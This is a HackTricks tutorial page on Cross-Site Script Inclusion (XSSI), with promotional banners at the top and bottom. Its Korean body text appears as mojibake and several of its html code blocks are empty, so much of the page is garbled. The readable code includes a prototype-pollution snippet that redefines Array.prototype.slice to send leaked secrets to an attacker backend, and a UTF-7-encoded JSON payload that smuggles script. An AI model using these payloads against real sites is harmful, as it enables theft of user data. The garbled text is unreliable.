# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
**Cross-Site Script Inclusion (XSSI)**λ HTMLμ `script` νκ·Έμ νΉμ±μμ λ°μνλ μ·¨μ½μ μ
λλ€. λλΆλΆμ 리μμ€κ° **Same-Origin Policy (SOP)**μ μ μ©μ λ°λ κ²κ³Ό λ¬λ¦¬, μ€ν¬λ¦½νΈλ λ€λ₯Έ λλ©μΈμμ ν¬ν¨λ μ μμ΅λλ€. μ΄ λμμ λ€λ₯Έ μλ²μ νΈμ€ν
λ λΌμ΄λΈλ¬λ¦¬ λ° κΈ°ν 리μμ€μ μ¬μ©μ μ©μ΄νκ² νκΈ° μν κ²μ΄μ§λ§, μ μ¬μ μΈ λ³΄μ μνλ μ΄λν©λλ€.
### **XSSI**μ μ£Όμ νΉμ§:
- **SOP μ°ν**: μ€ν¬λ¦½νΈλ **Same-Origin Policy**μ μ μ©μ λ°μ§ μμ λλ©μΈ κ°μ ν¬ν¨λ μ μμ΅λλ€.
- **λ°μ΄ν° λ
ΈμΆ**: 곡격μλ μ΄ λμμ μ΄μ©ν΄ `script` νκ·Έλ₯Ό ν΅ν΄ λ‘λλ λ°μ΄ν°λ₯Ό μ½μ μ μμ΅λλ€.
- **λμ JavaScript/JSONPμ λ―ΈμΉλ μν₯**: **XSSI**λ λμ JavaScript λλ **JSON with Padding (JSONP)**μ νΉν κ΄λ ¨μ΄ μμ΅λλ€. μ΄λ¬ν κΈ°μ μ μ’
μ’
μΈμ¦μ μν΄ "ambient-authority" μ 보(μ: μΏ ν€)λ₯Ό μ¬μ©ν©λλ€. λ€λ₯Έ νΈμ€νΈμ μ€ν¬λ¦½νΈ μμ²μ΄ μ΄λ£¨μ΄μ§ λ, μ΄λ¬ν μ격 μ¦λͺ
(μ: μΏ ν€)μ΄ μλμΌλ‘ μμ²μ ν¬ν¨λ©λλ€.
- **μΈμ¦ ν ν° μ μΆ**: 곡격μκ° μ¬μ©μμ λΈλΌμ°μ λ₯Ό μμ¬ μμ μ΄ μ μ΄νλ μλ²μμ μ€ν¬λ¦½νΈλ₯Ό μμ²νκ² λ§λ€ μ μλ€λ©΄, μ΄λ¬ν μμ²μ ν¬ν¨λ λ―Όκ°ν μ 보μ μ κ·Όν μ μμ΅λλ€.
### Types
1. **μ μ JavaScript** - XSSIμ μ ν΅μ μΈ ννλ₯Ό λνλ
λλ€.
2. **μΈμ¦μ΄ μλ μ μ JavaScript** - μ΄ μ νμ μ κ·Όμ μν΄ μΈμ¦μ΄ νμνλ€λ μ μμ λ€λ¦
λλ€.
3. **λμ JavaScript** - λμ μΌλ‘ μ½ν
μΈ λ₯Ό μμ±νλ JavaScriptλ₯Ό ν¬ν¨ν©λλ€.
4. **λΉ JavaScript** - JavaScriptμ μ§μ μ μΌλ‘ κ΄λ ¨λμ§ μμ μ·¨μ½μ μ λνλ
λλ€.
**λ€μ μ 보λ [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)μ μμ½μ
λλ€. μΆκ° μΈλΆμ 보λ ν΄λΉ λ§ν¬λ₯Ό νμΈνμΈμ.**
### Regular XSSI
μ΄ μ κ·Ό λ°©μμμλ κ°μΈ μ λ³΄κ° μ μΈκ³μμ μ κ·Ό κ°λ₯ν JavaScript νμΌμ ν¬ν¨λ©λλ€. 곡격μλ νμΌ μ½κΈ°, ν€μλ κ²μ λλ μ κ· ννμκ³Ό κ°μ λ°©λ²μ μ¬μ©νμ¬ μ΄λ¬ν νμΌμ μλ³ν μ μμ΅λλ€. μμΉλ₯Ό μ°Ύμ ν, κ°μΈ μ λ³΄κ° ν¬ν¨λ μ€ν¬λ¦½νΈλ μ
μμ μΈ μ½ν
μΈ μ ν¬ν¨λμ΄ λ―Όκ°ν λ°μ΄ν°μ λν λ¬΄λ¨ μ κ·Όμ νμ©ν©λλ€. μλμ μμμ μΈ κ³΅κ²© κΈ°λ²μ΄ λμ μμ΅λλ€:
```html
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
μ΄λ¬ν μ νμ XSSI 곡격μ μ¬μ©μμ μμ²μ λ°λΌ κΈ°λ° μ λ³΄κ° λμ μΌλ‘ μ€ν¬λ¦½νΈμ μΆκ°λλ κ²μ ν¬ν¨ν©λλ€. μΏ ν€κ° μλ μμ²κ³Ό μλ μμ²μ 보λ΄κ³ μλ΅μ λΉκ΅νμ¬ νμ§ν μ μμ΅λλ€. μ λ³΄κ° λ€λ₯΄λ©΄ κΈ°λ° μ λ³΄κ° μ‘΄μ¬ν μ μμμ λνλΌ μ μμ΅λλ€. μ΄ νλ‘μΈμ€λ [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp νμ₯κ³Ό κ°μ λꡬλ₯Ό μ¬μ©νμ¬ μλνν μ μμ΅λλ€.
κΈ°λ° λ°μ΄ν°κ° μ μ λ³μμ μ μ₯λμ΄ μλ κ²½μ°, Regular XSSIμμ μ¬μ©λλ μ μ¬ν λ°©λ²μ μ¬μ©νμ¬ μ
μ©ν μ μμ΅λλ€. κ·Έλ¬λ κΈ°λ° λ°μ΄ν°κ° JSONP μλ΅μ ν¬ν¨λ κ²½μ°, 곡격μλ μ½λ°± ν¨μλ₯Ό νμ·¨νμ¬ μ 보λ₯Ό κ²μν μ μμ΅λλ€. μ΄λ μ μ κ°μ²΄λ₯Ό μ‘°μνκ±°λ JSONP μλ΅μ μν΄ μ€νλ ν¨μλ₯Ό μ€μ νμ¬ μνν μ μμ΅λλ€.
```html
```
```html
```
μ μ λ€μμ€νμ΄μ€μ μ‘΄μ¬νμ§ μλ λ³μμ κ²½μ°, *νλ‘ν νμ
λ³μ‘°*κ° λλλ‘ μ
μ©λ μ μμ΅λλ€. μ΄ κΈ°μ μ νΈμΆλ μμ±μ μ°ΎκΈ° μν΄ νλ‘ν νμ
체μΈμ νμνλ μ½λ ν΄μμ ν¬ν¨νλ JavaScriptμ μ€κ³λ₯Ό νμ©ν©λλ€. `Array`μ `slice`μ κ°μ νΉμ ν¨μλ₯Ό μ¬μ μν¨μΌλ‘μ¨, 곡격μλ λΉμ μ λ³μλ₯Ό μ κ·Όνκ³ λμΆν μ μμ΅λλ€:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
μΆκ°μ μΈ κ³΅κ²© 벑ν°μ λν μμΈν λ΄μ©μ 보μ μ°κ΅¬μ [Sebastian Lekies](https://twitter.com/slekies)μ μμ
μμ νμΈν μ μμΌλ©°, κ·Έλ [벑ν°](http://sebastian-lekies.de/leak/) λͺ©λ‘μ μ μ§νκ³ μμ΅λλ€.
### Non-Script-XSSI
Takeshi Teradaμ μ°κ΅¬λ Non-Script νμΌ, μλ₯Ό λ€μ΄ CSVκ° `script` νκ·Έμ μμ€λ‘ ν¬ν¨λμ΄ κ΅μ°¨ μΆμ²λ‘ μ μΆλλ λ λ€λ₯Έ ννμ XSSIλ₯Ό μκ°ν©λλ€. Jeremiah Grossmanμ 2006λ
곡격μΌλ‘ μ 체 Google μ£Όμλ‘μ μ½κ³ Joe Walkerμ 2007λ
JSON λ°μ΄ν° μ μΆκ³Ό κ°μ XSSIμ μμ¬μ μ¬λ‘λ μ΄λ¬ν μνμ μ¬κ°μ±μ κ°μ‘°ν©λλ€. λν, Gareth Heyesλ νΉμ λΈλΌμ°μ μμ ν¨κ³Όμ μΈ JSON νμμ νμΆνκ³ μ€ν¬λ¦½νΈλ₯Ό μ€ννκΈ° μν΄ UTF-7λ‘ μΈμ½λ©λ JSONμ ν¬ν¨νλ 곡격 λ³νμ μ€λͺ
ν©λλ€.
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
```
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**λμ€μ½λ κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **νΈμν°** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.**
{% endhint %}